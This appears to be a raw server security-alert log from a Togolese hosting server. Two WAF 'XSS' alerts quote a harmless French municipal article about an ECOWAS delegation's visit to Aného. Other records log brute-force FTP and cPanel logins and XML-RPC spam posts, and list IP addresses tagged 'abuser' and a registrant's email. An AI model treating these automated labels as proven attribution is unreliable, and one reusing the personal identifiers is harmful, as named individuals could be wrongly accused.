IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par claude gbenyedji</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":13295,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1723391-1024x577.jpg\" alt=\"\" class=\"wp-image-13295\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong><em>\xc3\x80 l\xe2\x80\x99issue du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, organis\xc3\xa9 \xc3\xa0 lom\xc3\xa9 du 2 au 4 juin autour du th\xc3\xa8me \xc2\xab de la connaissance \xc3\xa0 l\xe2\x80\x99action : des outils concrets et des donn\xc3\xa9es fiables pour renforcer la place du volontariat dans l\xe2\x80\x99espace cedeao \xc2\xbb, les participants ont effectu\xc3\xa9 jeudi une visite touristique et \xc3\xa9cologique dans la ville historique d\xe2\x80\x99an\xc3\xa9ho.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette excursion organis\xc3\xa9e \xc3\xa0 l'invitation du s\xc3\xa9nateur-maire, me alexis coffi aquereburu a permis aux repr\xc3\xa9sentants des agences nationales de volontariat des pays ouest-africains, de d\xc3\xa9couvrir le riche patrimoine culturel, historique et environnemental de l\xe2\x80\x99ancienne capitale du togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">apr\xc3\xa8s avoir \xc3\xa9t\xc3\xa9 chaleureusement accueilli \xc3\xa0 la mairie par l\xe2\x80\x99adjoint au maire, mr kangni agossou kouevi, la d\xc3\xa9l\xc3\xa9gation a d\xe2\x80\x99abord marqu\xc3\xa9 un arr\xc3\xaat au grau d\xe2\x80\x99an\xc3\xa9ho, site embl\xc3\xa9matique o\xc3\xb9 la lagune rencontre l\xe2\x80\x99oc\xc3\xa9an atlantique. ce lieu charg\xc3\xa9 d\xe2\x80\x99histoire et de symboles a offert aux visiteurs, un panorama exceptionnel et un aper\xc3\xa7u de l\xe2\x80\x99importance culturelle, \xc3\xa9conomique et des d\xc3\xa9fis environnementaux de cette zone pour les populations locales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13296,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1659391-1024x577.jpg\" alt=\"\" class=\"wp-image-13296\"/><figcaption class=\"wp-element-caption\"><strong>accueil de la d\xc3\xa9l\xc3\xa9gation \xc3\xa0 l'arriv\xc3\xa9e \xc3\xa0 la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13297,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.51-1024x577.jpeg\" alt=\"\" class=\"wp-image-13297\"/><figcaption class=\"wp-element-caption\"><strong>la d\xc3\xa9l\xc3\xa9gation re\xc3\xa7ue \xc3\xa0 la salle patrice ayivi</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le parcours s\xe2\x80\x99est poursuivi \xc3\xa0 la mairie d\xe2\x80\x99an\xc3\xa9ho o\xc3\xb9 les participants ont admir\xc3\xa9 les fresques murales retra\xc3\xa7ant les diff\xc3\xa9rentes \xc3\xa9tapes de la f\xc3\xaate traditionnelle ep\xc3\xa9-ekp\xc3\xa9, c\xc3\xa9l\xc3\xa9bration identitaire majeure du peuple guin. \xc3\x80 travers les explications du guide touristique de la mairie, mr f\xc3\xa9lix anoumou dossavi, les visiteurs ont d\xc3\xa9couvert les origines, les rites et les valeurs de coh\xc3\xa9sion sociale v\xc3\xa9hicul\xc3\xa9es par cette manifestation culturelle ancestrale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">la d\xc3\xa9l\xc3\xa9gation s\xe2\x80\x99est ensuite rendue \xc3\xa0 la for\xc3\xaat urbaine d\xe2\x80\x99an\xc3\xa9ho, espace vert d\xc3\xa9di\xc3\xa9 \xc3\xa0 la pr\xc3\xa9servation de la biodiversit\xc3\xa9 et \xc3\xa0 la promotion de l\xe2\x80\x99\xc3\xa9ducation environnementale. cette visite a permis aux participants d\xe2\x80\x99appr\xc3\xa9cier les initiatives locales en mati\xc3\xa8re de protection de l\xe2\x80\x99environnement et de d\xc3\xa9veloppement durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13298,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.50-1024x577.jpeg\" alt=\"\" class=\"wp-image-13298\"/><figcaption class=\"wp-element-caption\"><strong>visite au grau d'an\xc3\xa9ho</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13299,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1024x577.jpeg\" alt=\"\" class=\"wp-image-13299\"/><figcaption class=\"wp-element-caption\"><strong>visite des fresques de la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le point culminant de cette journ\xc3\xa9e a \xc3\xa9t\xc3\xa9 l\xe2\x80\x99activit\xc3\xa9 de reboisement organis\xc3\xa9e dans le cadre de la journ\xc3\xa9e nationale de l\xe2\x80\x99arbre. en signe de leur engagement en faveur de la protection de l\xe2\x80\x99environnement et de la lutte contre les effets du changement climatique, les membres de la d\xc3\xa9l\xc3\xa9gation ont proc\xc3\xa9d\xc3\xa9 \xc3\xa0 la mise en terre de trente plants de cocotier sur la plage de la mairie d\xe2\x80\x99an\xc3\xa9ho non loin du bar-restaurant marigot. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par ce geste symbolique, les agences nationales de volontariat de l\xe2\x80\x99espace cedeao ont r\xc3\xa9affirm\xc3\xa9 leur volont\xc3\xa9 d\xe2\x80\x99associer l\xe2\x80\x99engagement citoyen \xc3\xa0 la lutte contre l'\xc3\xa9rosion c\xc3\xb4ti\xc3\xa8re, tout en laissant une empreinte durable de leur passage au togo. au terces diff\xc3\xa9rentes activit\xc3\xa9s, le dg de l\xe2\x80\x99agence nationale de volontariat au togo, dr omar agbangba s\xe2\x80\x99est dit satisfait et a exprim\xc3\xa9 sa gratitude \xc3\xa0 mr le maire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13300,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13300\"/><figcaption class=\"wp-element-caption\"><strong>reboisement \xc3\xa0 la plage </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13301,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.48-1024x577.jpeg\" alt=\"\" class=\"wp-image-13301\"/><figcaption class=\"wp-element-caption\"><strong>le dg de l'anvt, dr omar agbangba </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab&nbsp;<em>nous sommes satisfaits de la visite parce qu\xe2\x80\x99elle a \xc3\xa9t\xc3\xa9 bien organis\xc3\xa9e, on a re\xc3\xa7u un accueil tr\xc3\xa8s chaleureux \xc3\xa0 notre arriv\xc3\xa9e. je tiens \xc3\xa0 remercier le maire pour toutes les dispositions prises pour nous offrir un agr\xc3\xa9able s\xc3\xa9jour que tous les participants ont appr\xc3\xa9ci\xc3\xa9s</em>&nbsp;\xc2\xbb, a-t-il indiqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab\xc2\xa0<em>personnellement je ne suis pas \xc3\xa9tranger \xc3\xa0 la ville d\xe2\x80\x99an\xc3\xa9ho qui poss\xc3\xa8de une merveille de la nature qui est cette rencontre entre la lagune et la mer. an\xc3\xa9ho est une belle ville et je suis content de toujours revenir ici</em>\xc2\xa0\xc2\xbb, a d\xc3\xa9clar\xc3\xa9 pour sa part, francis chuks njoaguani, directeur du centre de d\xc3\xa9veloppement de la jeunesse et des sports de la cedeao.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette visite a ainsi constitu\xc3\xa9 un moment de d\xc3\xa9couverte, de partage culturel et d\xe2\x80\x99engagement \xc3\xa9cologique, venant cl\xc3\xb4turer en beaut\xc3\xa9 les travaux du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, tenu \xc3\xa0 lom\xc3\xa9 et consacr\xc3\xa9 au renforcement du volontariat comme levier de d\xc3\xa9veloppement et d\xe2\x80\x99int\xc3\xa9gration r\xc3\xa9gionale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule de communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1.mairie.tg/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.20.98.26
country_id: 587116
description:
2026-06-05 11:51:52 H=([94.20.98.26]) [94.20.98.26]:24737 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  5 11:52:06 ns5 pure-ftpd[1602332]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  5 11:52:12 ns5 pure-ftpd[1602332]: (?@146.190.126.213) [WARNING] Authentication failed for user [root]


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par claude gbenyedji</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":13295,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1723391-1024x577.jpg\" alt=\"\" class=\"wp-image-13295\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong><em>\xc3\x80 l\xe2\x80\x99issue du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, organis\xc3\xa9 \xc3\xa0 lom\xc3\xa9 du 2 au 4 juin autour du th\xc3\xa8me \xc2\xab de la connaissance \xc3\xa0 l\xe2\x80\x99action : des outils concrets et des donn\xc3\xa9es fiables pour renforcer la place du volontariat dans l\xe2\x80\x99espace cedeao \xc2\xbb, les participants ont effectu\xc3\xa9 jeudi une visite touristique et \xc3\xa9cologique dans la ville historique d\xe2\x80\x99an\xc3\xa9ho.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette excursion organis\xc3\xa9e \xc3\xa0 l'invitation du s\xc3\xa9nateur-maire, me alexis coffi aquereburu a permis aux repr\xc3\xa9sentants des agences nationales de volontariat des pays ouest-africains, de d\xc3\xa9couvrir le riche patrimoine culturel, historique et environnemental de l\xe2\x80\x99ancienne capitale du togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">apr\xc3\xa8s avoir \xc3\xa9t\xc3\xa9 chaleureusement accueilli \xc3\xa0 la mairie par l\xe2\x80\x99adjoint au maire, mr kangni agossou kouevi, la d\xc3\xa9l\xc3\xa9gation a d\xe2\x80\x99abord marqu\xc3\xa9 un arr\xc3\xaat au grau d\xe2\x80\x99an\xc3\xa9ho, site embl\xc3\xa9matique o\xc3\xb9 la lagune rencontre l\xe2\x80\x99oc\xc3\xa9an atlantique. ce lieu charg\xc3\xa9 d\xe2\x80\x99histoire et de symboles a offert aux visiteurs, un panorama exceptionnel et un aper\xc3\xa7u de l\xe2\x80\x99importance culturelle, \xc3\xa9conomique et des d\xc3\xa9fis environnementaux de cette zone pour les populations locales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13296,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1659391-1024x577.jpg\" alt=\"\" class=\"wp-image-13296\"/><figcaption class=\"wp-element-caption\"><strong>accueil de la d\xc3\xa9l\xc3\xa9gation \xc3\xa0 l'arriv\xc3\xa9e \xc3\xa0 la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13297,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.51-1024x577.jpeg\" alt=\"\" class=\"wp-image-13297\"/><figcaption class=\"wp-element-caption\"><strong>la d\xc3\xa9l\xc3\xa9gation re\xc3\xa7ue \xc3\xa0 la salle patrice ayivi</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le parcours s\xe2\x80\x99est poursuivi \xc3\xa0 la mairie d\xe2\x80\x99an\xc3\xa9ho o\xc3\xb9 les participants ont admir\xc3\xa9 les fresques murales retra\xc3\xa7ant les diff\xc3\xa9rentes \xc3\xa9tapes de la f\xc3\xaate traditionnelle ep\xc3\xa9-ekp\xc3\xa9, c\xc3\xa9l\xc3\xa9bration identitaire majeure du peuple guin. \xc3\x80 travers les explications du guide touristique de la mairie, mr f\xc3\xa9lix anoumou dossavi, les visiteurs ont d\xc3\xa9couvert les origines, les rites et les valeurs de coh\xc3\xa9sion sociale v\xc3\xa9hicul\xc3\xa9es par cette manifestation culturelle ancestrale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">la d\xc3\xa9l\xc3\xa9gation s\xe2\x80\x99est ensuite rendue \xc3\xa0 la for\xc3\xaat urbaine d\xe2\x80\x99an\xc3\xa9ho, espace vert d\xc3\xa9di\xc3\xa9 \xc3\xa0 la pr\xc3\xa9servation de la biodiversit\xc3\xa9 et \xc3\xa0 la promotion de l\xe2\x80\x99\xc3\xa9ducation environnementale. cette visite a permis aux participants d\xe2\x80\x99appr\xc3\xa9cier les initiatives locales en mati\xc3\xa8re de protection de l\xe2\x80\x99environnement et de d\xc3\xa9veloppement durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13298,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.50-1024x577.jpeg\" alt=\"\" class=\"wp-image-13298\"/><figcaption class=\"wp-element-caption\"><strong>visite au grau d'an\xc3\xa9ho</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13299,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1024x577.jpeg\" alt=\"\" class=\"wp-image-13299\"/><figcaption class=\"wp-element-caption\"><strong>visite des fresques de la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le point culminant de cette journ\xc3\xa9e a \xc3\xa9t\xc3\xa9 l\xe2\x80\x99activit\xc3\xa9 de reboisement organis\xc3\xa9e dans le cadre de la journ\xc3\xa9e nationale de l\xe2\x80\x99arbre. en signe de leur engagement en faveur de la protection de l\xe2\x80\x99environnement et de la lutte contre les effets du changement climatique, les membres de la d\xc3\xa9l\xc3\xa9gation ont proc\xc3\xa9d\xc3\xa9 \xc3\xa0 la mise en terre de trente plants de cocotier sur la plage de la mairie d\xe2\x80\x99an\xc3\xa9ho non loin du bar-restaurant marigot. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par ce geste symbolique, les agences nationales de volontariat de l\xe2\x80\x99espace cedeao ont r\xc3\xa9affirm\xc3\xa9 leur volont\xc3\xa9 d\xe2\x80\x99associer l\xe2\x80\x99engagement citoyen \xc3\xa0 la lutte contre l'\xc3\xa9rosion c\xc3\xb4ti\xc3\xa8re, tout en laissant une empreinte durable de leur passage au togo. au terme de ces diff\xc3\xa9rentes activit\xc3\xa9s, le dg de l\xe2\x80\x99agence nationale de volontariat au togo, dr omar agbangba s\xe2\x80\x99est dit satisfait et a exprim\xc3\xa9 sa gratitude \xc3\xa0 mr le maire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13300,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13300\"/><figcaption class=\"wp-element-caption\"><strong>reboisement \xc3\xa0 la plage </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13301,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.48-1024x577.jpeg\" alt=\"\" class=\"wp-image-13301\"/><figcaption class=\"wp-element-caption\"><strong>le dg de l'anvt, dr omar agbangba </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab&nbsp;<em>nous sommes satisfaits de la visite parce qu\xe2\x80\x99elle a \xc3\xa9t\xc3\xa9 bien organis\xc3\xa9e, on a re\xc3\xa7u un accueil tr\xc3\xa8s chaleureux \xc3\xa0 notre arriv\xc3\xa9e. je tiens \xc3\xa0 remercier le maire pour toutes les dispositions prises pour nous offrir un agr\xc3\xa9able s\xc3\xa9jour que tous les participants ont appr\xc3\xa9ci\xc3\xa9s</em>&nbsp;\xc2\xbb, a-t-il indiqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab\xc2\xa0<em>personnellement je ne suis pas \xc3\xa9tranger \xc3\xa0 la ville d\xe2\x80\x99an\xc3\xa9ho qui poss\xc3\xa8de une merveille de la nature qui est cette rencontre entre la lagune et la mer. an\xc3\xa9ho est une belle ville et je suis content de toujours revenir ici</em>\xc2\xa0\xc2\xbb, a d\xc3\xa9clar\xc3\xa9 pour sa part, francis chuks njoaguani, directeur du centre de d\xc3\xa9veloppement de la jeunesse et des sports de la cedeao.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette visite a ainsi constitu\xc3\xa9 un moment de d\xc3\xa9couverte, de partage culturel et d\xe2\x80\x99engagement \xc3\xa9cologique, venant cl\xc3\xb4turer en beaut\xc3\xa9 les travaux du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, tenu \xc3\xa0 lom\xc3\xa9 et consacr\xc3\xa9 au renforcement du volontariat comme levier de d\xc3\xa9veloppement et d\xe2\x80\x99int\xc3\xa9gration r\xc3\xa9gionale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule de communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1.mairie.tg/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:409f51aa9086506e09cd0b0f17a751dfdb52e1df||Title:6qixngbcr8km43mexp||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.154.231.9
country_id: 1643084
description:
[2026-06-05 11:53:07 +0000] info [cpaneld] 9.154.231.9 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00012fd0e4e90642c45b56694c29c10e18c2e520||Title:j6har0hhl5onv8h0w||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.229
country_id: 3469034
description:
Jun  5 11:54:35 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.229 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 128.199.82.9
country_id: 1880251
description:
Jun  5 11:54:42 ns5 pure-ftpd[1604134]: (?@128.199.82.9) [WARNING] Authentication failed for user [www-data]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.229
country_id: 3469034
description:
Jun  5 11:54:50 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:89f8231d075c3e891bcf5e5ed066e1decdf82d2c||Title:cd769mcly8tj3091d||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.154.231.9
country_id: 1643084
description:
[2026-06-05 11:55:16 +0000] info [cpaneld] 9.154.231.9 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d812c5bf0ed23aa0a68641c85f6b725cd90cd3d3||Title:iugdkiyvm905z9bb||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 124.158.10.21
country_id: 1562822
description:
Jun  5 11:56:16 ns5 pure-ftpd[1605477]: (?@124.158.10.21) [WARNING] Authentication failed for user [sodigaz]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee07ca5d54bc160f7acc9e800226bc807a7d904e||Title:ocqyjrru3ai7vv||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:53cde9647613e8a23033bdb3da716d037e15fbcd||Title:7tm6tq0fa5uudtmkhx||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Win Your Free Token Distribution Extra eropolik.blogspot.gr 7J||Email:harganeshupadhya@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:11-58.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
